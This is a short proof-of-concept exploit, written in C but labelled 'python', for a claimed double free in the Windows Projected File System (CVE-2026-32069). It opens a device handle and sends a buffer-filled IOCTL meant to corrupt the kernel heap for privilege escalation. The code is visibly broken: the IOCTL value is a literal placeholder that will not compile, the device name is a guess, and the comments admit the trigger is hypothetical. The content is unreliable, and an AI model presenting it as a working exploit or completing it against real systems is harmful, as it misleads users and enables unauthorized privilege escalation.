The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-32069
// This PoC demonstrates the trigger logic for the Double Free in Windows Projected File System.
// Note: Actual exploitation requires precise heap grooming and ROP chains.
int main() {
HANDLE hDevice;
DWORD bytesReturned;
char buffer[0x100];
printf("[*] PoC for CVE-2026-32069: Windows Projected File System Privilege Escalation\n");
// 1. Attempt to open a handle to the ProjFS device or vulnerable interface
// Device name might vary based on the actual vulnerable component
hDevice = CreateFileA("\\\\.\\ProjectedFileSystem",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
printf("[*] Ensure you are running on a vulnerable version of Windows.\n");
return 1;
}
printf("[+] Device handle opened successfully.\n");
// 2. Prepare input buffer to trigger the double free
// This IOCTL and buffer structure are hypothetical representations of the vulnerability trigger
memset(buffer, 0x41, sizeof(buffer));
printf("[*] Sending malicious IOCTL to trigger double free...\n");
// 3. Send the request
// This sequence is designed to decrement the ref count incorrectly
BOOL result = DeviceIoControl(hDevice,
0xXXXXXXX, // Hypothetical Vulnerable IOCTL
buffer,
sizeof(buffer),
buffer,
sizeof(buffer),
&bytesReturned,
NULL);
if (!result) {
printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("[+] IOCTL sent successfully. Check for BSOD or debugger output for heap corruption.\n");
}
// 4. Clean up
CloseHandle(hDevice);
printf("[*] PoC execution finished.\n");
return 0;
}